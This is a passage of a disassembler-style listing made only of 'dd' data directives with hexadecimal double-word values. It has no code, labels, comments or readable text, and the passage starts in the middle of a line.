221044Ch, 0EBC744F9h dd 8CBE7324h, 0AE097997h, 0D82BF2B6h, 5B244069h, 9E17895h dd 915C7EBFh, 9B318687h, 0B92440F4h, 0A64000BFh, 0BB90423Dh dd 0E3152897h, 208C36EEh, 1A440C69h, 0D3CDBDE8h, 0DD66FA4Dh dd 0F27F79F0h, 0FFED7A01h, 0E97D1197h, 857420CEh, 860E7031h dd 402ACB0Eh, 0D1D015B6h, 7721309Bh, 92F0BB79h, 8102CE79h dd 396469E7h, 52CC8103h, 0BD673A25h, 2231E7A0h, 0E2495C02h dd 7F172CFAh, 3087A409h, 0C22588E1h, 7048F398h, 70097B7Dh dd 826BB8E0h, 5160D54h, 3EDEEE50h, 647D8AC0h, 0B50296CFh dd 31AC9CBEh, 0F3A3D5BDh, 585BDE8Bh, 0DC7ACD85h, 1067E7Dh dd 21847A73h, 2A52750Ah, 0B589D430h, 5F1B406Dh, 0F4806004h dd 89C5B1BAh, 0D7CDDAEBh, 9D8E98h, 0D7F3A15Dh, 0E1BA11CAh dd 830F9B12h, 0F8C90FF8h, 0CCBED879h, 4A01205Fh, 0B45AC7FFh dd 1038AF29h, 18B386D6h, 2EEC7658h, 3CCDC2C5h, 0E75E03ADh dd 28C50CFCh, 0A9B2F89Eh, 88157495h, 0FE2A16C9h, 0BB09D3B0h dd 5C5B5AFAh, 29B18823h, 0F5605009h, 0D0BA8BB0h, 8842247Ah dd 0C408F85Ah, 0DBEE9061h, 0A4708018h, 4E5076Bh, 39A9447h dd 2D13AB85h, 81C72AAEh, 87A8323Bh, 41CD1060h, 28F7402Fh dd 13128E7Fh, 5BC07E9h, 4255CE1h, 0C0E21AF6h, 1210A2FCh dd 0D5BD031Ch, 0FB7CC328h, 0AF75162Bh, 0DB570A6Bh, 1D2B000h dd 0CEE3EC94h, 644CC42Fh, 0F30E034Fh, 0C0709BBAh, 0EA6669E0h dd 103E4E00h, 0CF675BF6h, 60571773h, 9791FB23h, 0FF445350h dd 34FAE712h, 0BC90ABB9h, 138ACCBFh, 0BA615EE7h, 88C4E463h dd 21BCDD2h, 0E1A0E7CFh, 38FEC3C1h, 395E7540h, 90530026h dd 0D3738BA4h, 0DF09939Ch, 555F59C9h, 8A90E130h, 5598FA4Eh dd 95774EB3h, 8E7BAF2Dh, 46AC5A04h, 8E7781FBh, 50333ABCh dd 0D3BBB529h, 0AEEC6AA4h, 260C3C8h, 405A6366h, 645DCEC4h dd 0BE894A3Eh, 0FF5F6C40h, 0B53095B5h, 0FE1985E5h, 0BC4BB49h dd 8D725E28h, 0E5C860F4h, 482F0E41h, 2905BF17h, 1AD021BDh dd 48171E4h, 0CC0551F7h, 22FDBD19h, 99C6BDD0h, 127179A0h dd 0E5300B81h, 5BE49504h, 41E2FCA3h, 0F945F85Eh, 0CA488FAh dd 0DAEE9397h, 20E85EDFh, 0BB48978Eh, 314EC82Bh, 8B016FF2h dd 0B19D23D1h, 86F19117h, 0DFB70F02h, 9D7858Bh, 0C90977F3h dd 0B9694466h, 42445CA7h, 98825B1h, 8C920099h, 0C38176EFh dd 0F6C97C09h, 44C37A2Fh, 0D0BE5113h, 335B4038h, 0B1B45E9h dd 2B058DE1h, 0C45633DCh, 0BC5FDE9Ch, 932B88D1h, 0AB25AA29h dd 30BE1404h, 6390D2BDh, 333595C2h, 75884C5Ah, 0B097DFBFh dd 82A166DBh, 0EA40D674h, 582AD57h, 0B37F40DBh, 0CBB5FFFCh dd 28467146h, 25E360FBh, 0F76C2A8Dh, 0E8C2E304h, 60AFF9AFh dd 87CB8008h, 0FD6B913h, 7ABBE043h, 0FCEC2CC6h, 70DD39E8h dd 20E2A6BCh, 6E406402h, 5D04F380h, 0B90B8B04h, 10E59075h dd 2B121AFDh, 80A29BD2h, 0D131149Eh, 0F785090Ah, 997BF930h dd 80181BF9h, 0B4E4A207h, 1646CF5h, 92E081F6h, 6A7B7374h dd 0EEC6CA29h, 0A5006C9Fh, 10336CEh, 0BF68015Bh, 2144F340h dd 2C882F23h, 0A9884B0Dh, 16BEC75h, 4D026D26h, 2A77229Ah dd 0C404B934h, 921D0371h, 4AC7F7D8h, 0CA0C4B6h, 3918D653h dd 0FAEE8DEEh, 6F6697E1h, 3B85012Eh, 0EA4A5E25h, 0F9BF04B9h dd 0ADD5BC5Fh, 4BC4FDFEh, 0D1CAF84Bh, 0F099612Bh, 513F5D8Dh dd 2F58870Ch, 7B09B878h, 0E3BFD8F9h, 5A2DB2C9h, 119D1626h dd 8575AF0Bh, 0A533C404h, 0C9C6D1EBh, 46220B43h, 0C0A24D9Fh dd 49BB4DFDh, 35B58908h dd 9D893810h, 0B95C0A59h, 9D042970h, 80D14E7Bh, 2F1D1C65h dd 0C4CB0D2Eh, 0E990AF51h, 0B62A607Bh, 7127E0CBh, 0B7EB75CAh dd 33263FF8h, 0FD167698h, 950D54F0h, 51BDC2C4h, 4CE70062h dd 74AA05E6h, 0DFBB4B00h, 4EFC1321h, 0BC5904B8h, 0BC5FD98Ah dd 8CDB5BD8h, 25BDB993h, 30CEE9A2h, 0DF17A816h, 6BBAFF3Ch dd 331529C3h, 0B66AE10Ah, 3B276508h, 0B7EAFE25h, 4210CF5Dh dd 0CE8259DAh, 90040FA9h, 0A98EAAh, 6E588A4Dh, 97523FC8h dd 0DE44CF81h, 5B6E2F90h, 21702200h, 63A1BFBEh, 6A11DE13h dd 52F091B6h, 32043AD6h, 2F957C91h, 12F108FEh, 0FC2F8C2Ch dd 0E04B501Ah, 8831CD00h, 0AA2F1A91h, 0B68200D6h, 0BEEFC83Eh dd 1EF87F68h, 0D8B77C12h, 3C8025E0h, 0F9920119h, 28E5B3FCh dd 0F154CB53h, 2C9C5FEEh, 0D8E78061h, 0B2C7F62Ah, 0E9F43014h dd 5B2ACB49h, 0E1D2E0F8h, 93F77AA3h, 47CFACB1h, 0EE9135E6h dd 2D56C09Bh, 602B77B1h, 0B8B51646h, 73D84Eh, 493BFC8Eh dd 40EC2307h, 17AAA601h, 0D1AC5BC5h, 0A8AFF23Ah, 7BF90963h dd 70228FBCh, 700906C1h, 25ECB0C1h, 0E176C4D0h, 0D71655E2h dd 0B8D3C5B2h, 2CF0750h, 47F77213h, 0BEFBFD96h, 2E2C2188h dd 5650078Fh, 795F1960h, 0C73A0057h, 768E0D11h, 22AFEB1Eh dd 0F6B15F65h, 7B56A61h, 8AE69B2Ah, 0E5098B68h, 0D396570Dh dd 0D44796h, 935E0FC2h, 13BBFF21h, 0BD03BE0Bh, 68062059h dd 279B5BEEh, 2D105282h, 750A8540h, 814E0502h, 78655F1Ch dd 0A811016Bh, 8D017D83h, 0E555DE15h, 49A270BBh, 2165F81Fh dd 10CDFE31h, 0F84DAE04h, 57C22F8Fh, 8E01FE93h, 79C9E381h dd 0FD262747h, 0D37AFC51h, 0E226121h, 0C01697A1h, 1AE38012h dd 338BC7E2h, 9DD90F53h, 7ACCCCh, 0AF49A07h, 0AC69D781h dd 5E59E12Dh, 4BF1E2BCh, 0F1E13557h, 0F0A01816h, 0DCFDBC02h dd 0FCF17F01h, 3251B529h, 34C2CE6Bh, 0E8815595h, 8E6E300Dh dd 0A5F15FA3h, 0F586E67Ah, 374F3A07h, 197CF5E1h, 8A7D4F71h dd 271650DCh, 45B6D852h, 0B16B2E24h, 0E8001A23h, 0C5FEF7B3h dd 8967328Ch, 0B0F52F50h, 17757C5h, 20AEFBC5h, 2A646E9Ch dd 0D3DD52E8h, 0CF67AFD8h, 0DC96DAD2h, 0A1BB00A0h, 0B4B95BEDh dd 712E8D7Bh, 0BF072761h, 4D89A3C3h, 7987C07Bh, 8FA01326h dd 0BA952B99h, 6E15D0Dh, 0E7F27A03h, 0A807ADD3h, 0B5DB011Dh dd 0FA8AF261h, 0C1206A60h, 9D4D57h, 9ED98809h, 0E2D7FB2Ch dd 0A3E668EEh, 0D13EC390h, 0D659A533h, 7A616718h, 0FCC024A1h dd 0B411800h, 588E3749h, 4AD8B8F2h, 0D241BDDAh, 0A87969Ah dd 0A7764025h, 874B3788h, 1733D4CCh, 0AF318DBDh, 7D57ED6Fh dd 0D9858C07h, 977FE171h, 0BDDA4191h, 0E3F26B2Fh, 0BD9DD69Eh dd 0E6B9D38Fh, 0F00021A8h, 90E3458h, 90788B1Bh, 19493143h dd 2B15F562h, 0E6423C9h, 4F7B9526h, 182568A8h, 9FE7ECB0h dd 4D97A0D8h, 8B2FE2B3h, 31AD31D7h, 9F2801D8h, 18E4A3CDh dd 3D39D760h, 829F7877h, 48635542h, 0BA27E7C1h, 0A710B52Ah dd 9700C836h, 6FA6EF20h, 0B5C6DC9Fh, 0FAB2FBC7h, 51765EF9h dd 65B3103Dh, 8E92296h, 0F43CD300h, 76276B84h, 0B3507F22h dd 99D57AEDh, 0D741603Bh, 0B1000779h, 749561E0h, 5504FE14h dd 61C90A0Dh, 9D8245BDh, 90143231h, 0CDD94B7Ah, 2840215h dd 5CDC8A22h, 2F3B51F3h, 7BC9CE9Eh, 642F8AC0h, 6F037495h dd 95D5F360h, 4D7BBD0Bh, 2FAAC6B5h, 325E919Dh, 61161355h dd 7AE6C519h, 0E92C4480h, 80789D57h, 783795h, 3D0918FCh dd 802D7A08h, 275CFECBh, 0FEC3B46Dh, 0AA1288A9h, 54FB095Bh dd 0E0023337h, 8E82C563h, 0E5F52ED1h, 0D8BF0470h, 7E5A8C50h dd 9CCEAB1Ch, 6E620A44h, 0DB2E11A1h, 2F0B80A2h, 0F9834F15h dd 0A081B72Ah, 1E60143Fh, 7A36CC6Dh, 819D318Bh, 55D916C2h dd 7D8CE2ADh, 81039DC6h, 0C25C9BE3h, 31F60B41h, 8B3D3A34h dd 37918F01h, 0C82B4EE6h, 1D413D09h, 0B82E172Eh, 19C98DA5h dd 0AA76AACh, 9081AE1h, 0F959D0B7h, 9AD80054h, 93273E4Fh dd 0C02D24B8h, 594673F0h, 78A1816h, 0BD89BC15h, 425C0B75h dd 721D467Eh, 0B1611200h, 6C4275C5h, 0B1214E27h, 30292BA6h dd 0F2EF55C6h, 2C01667h, 0B58E0F99h, 0FE433279h, 133B90F5h dd 0BE83003Eh, 0A3A72742h, 0FD9C026Ah, 5DBF28DCh, 334122FFh dd 37D9B4A0h, 35B40192h, 7EAD59DCh, 0CE7E982h, 3B58DF56h dd 12E58334h, 0EC80BE71h, 0B1D16C5h, 0FDE14433h, 9D1281D8h dd 0F4B923F5h, 5AB2AF92h, 91F5B307h, 178D837Dh, 51EC3069h dd 357569E1h, 0DF1B0017h, 870F50FCh, 0F7F3094Fh, 0B88BC139h dd 0A9577A29h, 0C546CD76h, 1A68C0E5h, 0ED250F27h, 0B6AB6C42h dd 5006BDCh, 55FF5BD0h, 0BDB59495h, 50400F4Dh, 13308A15h dd 0BC19D1BEh, 0D0D68045h, 6AE328h, 9264FAEAh, 0AC85F146h dd 0E1449Fh, 66570D50h, 0FD1ACF38h, 0B3318600h, 1589CE0Eh dd 0D78B975Bh, 0AD0735D7h, 0AA006ECCh, 9AC863DCh, 95ABF85Fh dd 3BE9E889h, 7985CCFFh, 5A8E44BFh, 0ECC7B945h, 0D961132Ah dd 0D434EE95h, 0F38814ADh, 0EEAEE640h, 4B05A33h, 1231CD1Ah dd 219D0BB0h, 0EC242C85h, 5CE5951Eh, 53CE6464h, 0FCA16052h dd 0F0D60C7Ch, 73B5295Dh, 44C127C1h, 92A173F6h, 5C6466ECh dd 17EA5404h, 4BAFFB25h, 6DF1881Ah, 1DE0D892h, 93C19751h dd 2B5B0001h, 0E406B0C8h, 0CD66C6D1h, 7444FF1Dh, 80454BB3h dd 4947551Ah, 32F268C4h, 600B12B8h, 24D59503h, 0C8EB610Bh dd 5A25CB8Bh, 0D385D36h, 0A442195h, 450BA842h, 44D7BE17h dd 0D912B91Ch, 8C2B3778h, 528823E2h, 69B52631h, 0AE5F9204h dd 50AB7375h, 0F9446147h, 47C5B50Dh, 7CB13C08h, 0F8091646h dd 0D4F6FE88h, 220AE962h, 0AF747F07h, 0BA5D88ECh, 516FB501h dd 0AD767841h, 0C540D723h, 0B0FB0EB7h, 43203F8Bh, 6309A631h dd 0CCBE2725h, 7FEB074Ch, 0B10B2B9h, 92FA3775h, 4E8DEA5Eh dd 30B9202Ah, 66007947h, 9DF7E8FAh, 12E2C83Bh, 0F099EA43h dd 4D25BB66h, 42E35C6Dh, 29240421h, 55167982h, 0EDB7D994h dd 8241438Dh, 1F4B5E72h, 1AC8818Fh, 0AB9AACC0h, 0FF272F0Ah dd 0C2DBF740h, 0DAE27AFDh, 21C66EF9h, 4BF37E5Eh, 21B8223h dd 0E7CF4F5Ch, 0AE125DEFh, 57B1F713h, 470DF9B5h, 0AD0AD406h dd 9E0D6FFh, 0DA71952Eh, 0D458FE7Ah, 59C91218h, 4F3DE3C4h dd 4080A380h, 424B9EFCh, 6A4E249Eh, 0AC480021h, 51DA354Ch dd 0A1580233h, 234D9529h, 11FC3757h, 0BE178015h, 4BCDB529h dd 10258B02h, 0C44BDC9Eh, 0A224AC65h, 0C780214Dh, 25123A9Ah dd 0E59DFFA2h, 12F6AB5Ch, 0B2C7382Eh, 0A4F488FBh, 7C925F1h dd 27202B60h, 38E05ECAh, 0AA81D1E6h, 0A28DADBFh, 0DE042B45h dd 5F14E9h, 238B746Ah, 607C2510h, 0CE36E307h, 7390E141h dd 5A3067C6h, 85259815h, 958872BDh, 7DD9825Bh, 0FD26FB2Bh dd 81054456h, 0B312EB7Ah, 0F9B47A3Dh, 0AA588A34h, 40C759BDh dd 0C9BD3360h, 36912A4Fh, 610211B5h, 0E46BE356h, 66160093h dd 0A42E8449h, 0D074059h, 13607AC7h, 94C0E851h, 3634DA21h dd 6E245A04h, 88744BBBh, 40F9C9BEh, 9AFE7A6h, 3CC165B5h dd 0A953D0h, 0EABE5BBFh, 0FCAFDF6h, 3DDDD600h, 0E3C92CB4h dd 19569095h, 0B15F04B0h, 8B67CBFEh, 0D9ED80Eh, 33610260h dd 56F7F8D7h, 0FA0ED45Ah, 581BB382h, 52C545F5h, 525E485Fh dd 0C44F4BF2h, 0A8D2945Dh dd 276F97D2h, 8885D500h, 8D17A2E5h, 0DB3F50Eh, 13018EE9h dd 10CFEE9Bh, 4FFF55A0h, 0B0C4854Dh, 6FAE1B59h, 41623A0h dd 0AC0BE84Eh, 57B1D2FAh, 0AAFD122Ah, 0D08178DEh, 60CDDAF9h dd 24675D82h, 564BBDB1h, 182953FDh, 613C249h, 0BBF96700h dd 4BFA1B2Dh, 836ABA65h, 81A2192Bh, 4665B79Fh, 0C5E57A42h dd 11EDA501h, 92256517h, 0D4D15054h, 628AB38Bh, 25905488h dd 0F6CADEh, 30B5485Dh, 0AAB3FC33h, 5ACD6805h, 8CAB8E6Eh dd 0A9133257h, 6EAB71B0h, 35FF07ECh, 0ADB0828Bh, 97E5D780h dd 0A12B2A10h, 923C7100h, 75902A2Eh, 0A75F092Fh, 0AB5C586Bh dd 0B1B24212h, 0BC06FD4Fh, 0E6630092h, 51707262h, 0F2FD409h dd 0F4490h, 9D5CB6F0h, 294BD2C2h, 2D620303h, 0B1D168EDh dd 0C742BE8Ah, 7A35DCE7h, 2E562241h, 5BFD21ABh, 0F0802690h dd 502D1E06h, 4B834E9h, 1120D9D2h, 0A635D930h, 5DC22E6Eh dd 0A84AFB10h, 0AB12075h, 690E6162h, 7A055C2Bh, 0F1B17A85h dd 0A4DE2ACBh, 83649A4Ah, 4C473FA3h, 4E5B2582h, 45EBDECBh dd 0F6B6FCh, 0B7F927B4h, 0EEA9FD0Fh, 89C67D62h, 0EBC75531h dd 0C3801674h, 0E5C4040Ch, 0E2F2AC31h, 857F2BA2h, 0D02C9837h dd 8123C091h, 0EFBBBCCBh, 4AA6584Ah, 9A3017B2h, 0A0BC2D7Eh dd 46F43C58h, 77E79A95h, 0AF516610h, 0DAFAA81Ch, 9EA75C00h dd 0EEE0FD2h, 9A46ED8Bh, 0BF7D1F60h, 6612EC68h, 2EB35B17h dd 0D6DB204Ah, 0EF00E802h, 4AB4735Eh, 99EA282h, 399209E7h dd 918D3557h, 0DD2A801Bh, 4D3FD29h, 0E8C092E6h, 2246400Ah dd 0FC44956Bh, 0BA0919DFh, 0C3F7F6A9h, 0F965BD0h, 0B852825Eh dd 61C7C9EEh, 0BDF73F11h, 0D55877E0h, 14963C02h, 570E2389h dd 2022FA10h, 78B5800Fh, 8AB0E30Fh, 9886F04Dh, 0DED30295h dd 0F55135DDh, 25F8967Fh, 2ECE0549h, 0D7258694h, 3022E33Bh dd 115B9DB9h, 8A181959h, 12B18401h, 890FCC02h, 0A5578C2Ah dd 7C603731h, 95892C51h, 7CE2798Dh, 97E4725Dh, 4640FFEFh dd 9C2583Eh, 252A857Fh, 89A722C3h, 0B9FE11CCh, 0E1E6284Ah dd 973015A2h, 95892D9Bh, 0BF81D4D4h, 36D404F0h, 0F8D3492Bh dd 5BE9D85Ch, 0C8C15179h, 913BD740h, 72DD77EFh, 0DBB90392h dd 8A0C13D3h, 195E00BCh, 0AECBA2D1h, 0A78418B0h, 9D298876h dd 0B7C8754Eh, 647B956Fh, 0F4EBD8h, 28DF7BBFh, 12CF8005h dd 64F06DB5h, 0E662611Ch, 0A73FCCh, 0F67E948Bh, 5E3DE5BFh dd 0A58B60B7h, 0C6D5822Ch, 5B180026h, 0A49B4E31h, 5800ACF4h dd 0CD0A29F0h, 9166CC3h, 505E4376h, 9697AFD9h, 5080679Bh dd 0DFCB7942h, 265CF112h, 951C92E6h, 0E173E5FDh, 910B85A6h dd 0FE1C5708h, 80856394h, 2EC0E6C7h, 2592AEBBh, 755C5498h dd 33FFBF42h, 0C6DA1225h, 0BB660904h, 15D7292Dh, 9C654093h dd 3302D67Dh, 1AAB0AD7h, 0A7245CA1h, 8FD059FBh, 0F98D2563h dd 1A113BC5h, 25A6FC4Bh, 860B7317h, 0E7F59D23h, 9A8C64Ah dd 0E2922E8Fh, 8758D21Ah, 9559E93Dh, 0E781FF80h, 2704F831h dd 0F5C18B70h, 93A06F2h, 0F0856392h, 14C1BA35h, 0EA81F00Eh dd 1B4C23BBh, 9517D948h, 0FF9C27ADh, 0C3F70232h, 42E23A41h dd 322F6FF3h, 613F963h, 1AC22B58h, 0D09CF06Ch, 5A4D2538h dd 0ECA4E475h, 3C5003B7h, 3A81D003h, 192445B3h, 2D47F684h dd 0E965600Bh, 894CDCD9h, 788FC88Bh, 3063128h, 674F3C40h dd 0A899C206h, 627D8B1Eh, 21DFD12h, 0A393F805h, 0D1030CF0h dd 25E520C6h, 9A08F64Dh, 64074048h, 0E0058F22h, 4C42483h dd 8B5162CEh, 81100B40h, 14B0A928h, 3359B5C1h, 0A20C3C0h dd 8B234865h, 0C68424C8h, 0A909D85h, 12D26847h, 9D49AA7h dd 0C8557D73h, 9D7B70C5h, 6AD00603h, 82800886h, 0EBC70661h dd 0C8128DD3h, 1D58742h, 7D594976h, 0F5669789h, 0D104952Fh dd 0B431285Dh, 60688D22h, 0A5DB7A96h, 71BD29C3h, 70CBA7E4h dd 2EBA98Ah, 64104518h, 9E2EEED4h, 0A702F438h, 59A86408h dd 12A0D70Ch, 9DE381D7h, 54121C13h, 950528A0h, 2E932D3Dh dd 0FE1412BEh, 5D6AA732h, 0C0C509DCh, 37011B80h, 91050004h dd 6E025B9Ch, 2AF007B3h, 755AB900h, 8F8C6244h, 29AD00C8h dd 0F817D970h, 7375E199h, 49DC8300h, 7E1510B9h, 5A010088h dd 0B1A085BAh, 602EB27h, 0BF338024h, 669A40BCh, 7B4A00E7h dd 2A9405C0h, 5F0F6B03h, 40DD4C4Eh, 0DB53C45Ah, 46380019h dd 7897209Bh, 30019C2Ch, 8CB87FC1h, 90F09F3Dh, 7237C4Ah dd 7B4134D3h, 931641BAh, 0F2D5C899h, 32B03003h, 30783897h dd 0FE21A208h, 0EF00D58Bh, 54730CF7h, 0F9B226h, 3EB13C5Ah dd 718CB0C8h, 9EB99301h, 3751EA16h, 540038BCh, 0BDE65649h dd 0B5E6B76Ah, 4F085266h, 417B0F21h, 0F3004A56h, 717F99A6h dd 65EE5200h, 6996B8A3h, 7EF2061Fh, 0C8B543B9h, 7C3439C7h dd 151CE841h, 0EC361180h, 0DF9F8D7Ah, 97389D0Ch, 0C30A08D7h dd 7AE45721h, 766E3A8h, 0FC1EC61Fh, 48E96541h, 8C4F5F4Ch dd 0D2C0AC88h, 0C0051C28h, 0E6AAA269h, 5B00DAD3h, 61E2F2E4h dd 1F630A2Eh, 40CE1728h, 9D43F4B3h, 0F980B998h, 32260038h dd 0A3BDE347h, 0F8C19C3Ch, 1B392C92h, 0AC08B044h, 564CC3E5h dd 0AC42302Bh, 76004911h, 379F5644h, 6E0F1470h, 81FDD82Fh dd 0B1BC8333h, 0CC791E01h, 0F77628E2h, 0AA78DC00h, 0C8F48175h dd 8BA54813h, 0CFB8DB00h, 0C78237F5h, 930EF728h, 9B31C903h dd 89C28B83h, 0EFD1BBB4h, 0E82B9EE0h, 5F3E0049h, 15B2B8F8h dd 0DE01AF87h, 0E826C99h, 1880F93Fh, 0C0F36A4Fh, 6BF8E6FAh dd 0E81E4B78h, 61CF799h, 28CC274Ch, 8E018C2h, 473661A2h dd 81C7BF0Eh, 3E1080CBh, 3BBDAB04h, 188012B2h, 8CDAE4DEh dd 30C31952h, 21EA2CBBh, 62001428h, 0D506F908h, 0C1EB068Ch dd 78AA647Ah, 0D17B8E06h, 86D1BC6Bh, 0B507311Ch, 85EBC319h dd 0FCFFDBC0h, 0BD98F619h, 2E518208h, 45C086DBh, 85218F2Bh dd 4024445Ch, 0EA6F6417h, 0D9BD0019h, 0B6E73F30h, 0ED60AB7Bh dd 0CAAFC220h, 0EF01003Bh, 10B73E92h, 0F50F4482h, 0C6C60E26h dd 0B1AD06h, 0F84C69B6h, 64F25103h, 12F5731Dh, 7DE84503h dd 65118E5h, 587A3186h, 816C101Fh, 7768D101h, 0DEE4C144h dd 0B78A03B8h, 2FCDF3CAh, 1C907822h, 41E12E4Dh, 794CB621h dd 6A041C6h, 624F1002h, 98FE50F8h, 0F58E003Bh, 91901BC9h dd 0B9006C2Eh, 7353E8F3h, 0D872845h, 756AD1F2h, 370EC479h dd 1724AA50h, 174AE88h, 30880645h, 0BA92078Ah, 0F7EA8FC1h dd 0A6ACA0A2h, 159B24h, 5F512CE9h, 0C2106492h, 0E1B840F1h dd 896065D1h, 1AE8E339h, 43F8F75Ch, 0E5C4312Dh, 24AB6C18h dd 77005240h, 0A4AC8448h, 9CCF3A7h, 2CE1C4A6h, 39BEE00h dd 0A8A0F826h, 0AF001A42h, 0E89F444h, 1866214Ch, 78EF8A10h dd 0C003B93Ah, 64CCAD97h, 0D9100075h, 6EEEB1D3h, 6B01094Ah dd 0FB02EFDEh, 4BF056E9h, 399212D5h, 41056C8h, 908A78B4h dd 89C65198h, 1852040Eh, 0C35386BAh, 97A48129h, 9F6CE18Ch dd 0D016E2C9h, 8903367Bh, 93EA698Fh, 0F0F8B0D2h, 240C7206h dd 0A60C77Fh, 0F075ABh, 5942D5C1h, 0CD00AFE2h, 0D9346A7Dh dd 57670Ch, 7BBBACBCh, 78609CCFh, 91D69600h, 0DD613824h dd 65FA00A2h, 0EC3EF084h, 48001450h, 0ED7D6703h, 3DE0F3h dd 7C617538h, 0A8DD211Bh, 0B69A5Ch, 30EF3EF5h, 18734DD9h dd 2065BB19h, 0C772A43Dh dd 0C420D253h, 956105D7h, 0EC2880EEh, 830D5794h, 890E00B0h dd 369684E9h, 0C9002117h, 2EEAF7BFh, 0CAD4F3BCh, 3701630h dd 0D08AA868h, 0AF62D82Ch, 0F592A903h, 54D801E1h, 14B42EE0h dd 5E1C43DFh, 2D12A9C0h, 0D4F57119h, 599E2820h, 0DDD20A1Ah dd 0B7CC0034h, 0B8754C62h, 6D34010Ch, 0C0C608A0h, 62AF3321h dd 2D0CF3C7h, 18EC074Bh, 0C31100C2h, 283E1DD7h, 0D107A3EBh dd 3B21ACE6h, 0A3302F3h, 0D8AAA28h, 0D5AE80C0h, 0BAF23806h dd 57CE7B00h, 1E56A069h, 5E24038Ch, 3445AEECh, 0A186103h dd 87BEDA1Fh, 30B52101h, 21100898h, 1F030276h, 0AE18B891h dd 46A1C916h, 0D3F000C3h, 5ABABB6Ch, 7014087Dh, 5C03C1Ah dd 94483D46h, 0F40EDC5Eh, 5D0444D5h, 55F01EC1h, 0D8F90994h dd 11F4ED80h, 7B00FFFCh, 55D80760h, 18ABC4D1h, 0D8EA599Ah dd 0D63A8C6Dh, 2DD7055Fh, 0B432DCC1h, 62B930D0h, 4853D0B8h dd 0B13180B4h, 0EC96DB62h, 6C150D73h, 40589B1Eh, 0E3F236E1h dd 6097A13Ah, 55162C30h, 0C993EF5h, 8C51A015h, 0D171BD05h dd 54840008h, 0E49433B5h, 2181A034h, 1123B43Ah, 0C904E03h dd 0F22699FDh, 68884421h, 0B5001E51h, 0DA64B6C7h, 0FF9B043Dh dd 90382861h, 0A1952B00h, 5D102360h, 0CFD8D2A8h, 0D502FA40h dd 94B7823Ch, 325D8D80h, 79A272h, 24A7DC61h, 918AA4DDh dd 7BCCE250h, 675C6912h, 0C5D9CC1Dh, 0B218D768h, 75576208h dd 40C4C450h, 0D262AA36h, 1F3B0052h, 2D14718Eh, 0DE52A0B4h dd 1D323F0h, 754B62B6h, 284AB0h, 0AB62AE32h, 6A16463h dd 0B0797BC0h, 0BC02A041h, 2399166Dh, 0D9A08236h, 41CB0735h dd 7213C03h, 0B34B1D80h, 59A403B8h, 81BCE0D0h, 21180831h dd 0F17044E2h, 7BD80114h, 32EF7F63h, 49BCECC3h, 0D81F5D28h dd 3FB55518h, 8ABDE70h, 36B260FFh, 4E600244h, 0A423B7B3h dd 191151h, 70B343E3h, 40A2978h, 7BFB172Fh, 2408839Ch dd 4541DDDAh, 0BAA82496h, 0D8F87401h, 0F4467085h, 19B80420h dd 2845DE64h, 12BC08FAh, 32763B28h, 1004F82Ch, 0F6BD2E42h dd 717BACA3h, 0DD0DB4D6h, 18ED0744h, 241DAFD0h, 8034F737h dd 6F266CBAh, 0B502718Ah, 0E3F56DCFh, 3D5468AAh, 29BC74BEh dd 8F4326Ch, 0E812D5ACh, 80DDB40Ch, 46CCA6E2h, 0B3570207h dd 32B9A4B4h, 50E65800h, 0C04CCB3h, 2E2D79BDh, 4842D088h dd 0F22E063h, 6E286490h, 40241028h, 9318FC03h, 20413521h dd 948018D5h, 0E10A7F6Dh, 8814C12Eh, 2767FF86h, 0DCBC0079h dd 35C7703Ah, 0ADF0D27Bh, 30C8F67Bh, 0E707813Ch, 42CDFE98h dd 2C614DC8h, 0FAEFFCB5h, 1C1428D3h, 8CC0F878h, 61152C98h dd 31D00594h, 0F5E0C977h, 527B4040h, 0D8FF00C5h, 5D16428Ah dd 0F86236A0h, 0A0A44E90h, 6254ECC4h, 0D295716Bh, 0A3E81C11h dd 0A84DB1Ch, 5867D15Dh, 0F4D39E81h, 48340C7Eh, 44530D4h dd 0FCE05991h, 0F8977400h, 0E46E85A0h, 0A96400CAh, 0C5C4B391h dd 40983B1h, 87E761F9h, 0C7F00B30h, 72A58EBCh, 677C0977h dd 90A3DE98h, 0E7E0A989h, 6907F56Bh, 963AECA8h, 0B5C0F0C5h dd 14F3B0C7h, 8C1ED061h, 0AD800A3Ch, 0F76522C6h, 0B4006424h dd 0B2E4E1B7h, 307062E6h, 89403554h, 0EA602C79h, 0B46E8758h dd 32DA0195h, 786704A1h, 20B035D6h, 48CA5F4h, 0BEDB1F05h dd 270C6238h, 811F2075h, 0E273BC56h, 6B3F712Eh, 92A56204h dd 0E4AC1780h, 31AF6AA1h, 0DCD71DB0h, 88A854F2h, 0CAE82C58h dd 0B6C5008Ch, 6982724Bh, 34587561h, 0C0AAC854h, 0BEDE1F0Eh dd 12226046h, 1F068200h, 0D3441617h, 745B5846h, 38C0FBCh dd 5EBF0F7h, 0BBA0EF2Dh, 0CA1E6274h, 0B9E8C794h, 0AD99220Bh dd 14302001h, 4A30C4BCh, 103C6F5Fh, 4F886984h, 232084D6h dd 0C03052Ch, 0A1FDAABAh, 7824123Dh, 4A50082h, 0B535B10h dd 0E2006B8Fh, 0BF24FF98h, 0BD2A3Dh, 0A03E6D7Eh, 0DC9499ABh dd 236C5602h, 0A0F1E026h, 856AE7DCh, 0DE0F5h, 4D5943D5h dd 0B0ACBCDBh, 0A888E498h, 0EF009B4Bh, 0E676E141h, 18B471h dd 7BF3882Ah, 8FEEC775h, 10D91324h, 3AC993Fh, 64CADCC8h dd 162E00Ch, 6FF4C9DEh, 0ED59F70Ah, 4C98026h, 9F65B9CDh dd 5D0E0502h, 1C86E78h, 0BDB6B5C0h, 0B4D430D8h, 913C4430h dd 0AFCBA5h, 0B896E76h, 82CF7D85h, 4104550h, 0CC52151Dh dd 97DF6980h, 98BEC576h, 0AEC4480h, 1220B57Ah, 6D4824C7h dd 8A8E00DEh, 0FF58D584h, 0A13C5E30h, 0B0CEBC34h, 0BB3F4430h dd 16117916h, 234AC04Fh, 9FF78936h, 1A8DC3h, 0A1E16219h dd 0E2B5CCDDh, 24A31B00h, 0A803D34Ah, 20F0900Ch, 0DD30FEB2h dd 0BECD99FDh, 55E900D2h, 924C2893h, 0D803BFE4h, 0EA7CFFFAh dd 0B62000E8h, 6158C3BCh, 270763C9h, 0A31C9AB8h, 13ECEE50h dd 0F1942672h, 89238094h, 0CA3E8B5Eh, 0D248C500h, 773FF918h dd 0C9060276h, 232C5570h, 0FD96BC82h, 1A6D4E00h, 0C210003Ah dd 7B55DD8Ah, 189644C5h, 94B83480h, 0E606B3F7h, 0DF4C01FFh dd 0CEFA4001h, 0F6FC42B7h, 82FE7E20h, 0DB0F01C8h, 0C36D56DFh dd 0C8041423h, 